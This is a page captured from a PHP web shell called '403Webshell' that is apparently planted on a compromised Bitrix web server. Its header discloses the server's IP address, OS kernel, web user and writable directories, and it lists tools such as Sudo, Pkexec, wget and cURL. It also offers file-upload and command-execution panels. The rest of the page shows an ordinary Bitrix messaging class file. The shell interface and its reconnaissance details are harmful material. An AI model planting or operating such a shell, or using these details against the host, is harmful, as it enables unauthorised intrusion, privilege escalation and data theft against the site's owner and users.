403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/messageservice/lib/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/messageservice/lib/IncomingMessage.php
<?php

namespace Bitrix\MessageService;

use Bitrix\Main\Config\Option;
use Bitrix\Main\Error;
use Bitrix\Main\ORM\Data\AddResult;
use Bitrix\Main\Type\DateTime;
use Bitrix\Messageservice\Internal\Entity\IncomingMessageTable;

abstract class IncomingMessage
{
	abstract public static function sendMessageToChat(array $message);
	abstract protected static function prepareBodyForSave(array $body): array;

	public static function addMessage(string $senderId, array $requestBody): AddResult
	{
		$requestBody = static::prepareBodyForSave($requestBody);

		$addResult = new AddResult();
		$insertingData = [
			'SENDER_ID' => $senderId,
			'EXTERNAL_ID' => $requestBody['id'],
			'REQUEST_BODY' => serialize($requestBody)
		];

		try
		{
			$addResult = IncomingMessageTable::add($insertingData);
		}
		catch (\Throwable $exception)
		{
			if (mb_strpos($exception->getMessage(), '1062'))
			{
				$addResult->addError(new Error($exception->getMessage()));

				return $addResult;
			}

			throw $exception;
		}

		return $addResult;
	}

	public static function confirmSendingMessage(int $internalId): void
	{
		IncomingMessageTable::update($internalId, [
			'DATE_EXEC' => new DateTime()
		]);
	}

	public static function cleanUpAgent(): string
	{
		$period = abs((int)Option::get("messageservice", "clean_up_period"));
		$periodInSeconds = $period * 24 * 3600;

		if ($periodInSeconds > 0)
		{
			$connection = \Bitrix\Main\Application::getConnection();
			$datetime = $connection->getSqlHelper()->addSecondsToDateTime('-' . $periodInSeconds);
			$connection->queryExecute("DELETE FROM b_messageservice_incoming_message WHERE DATE_EXEC <= {$datetime}");
		}

		return __METHOD__.'();';
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit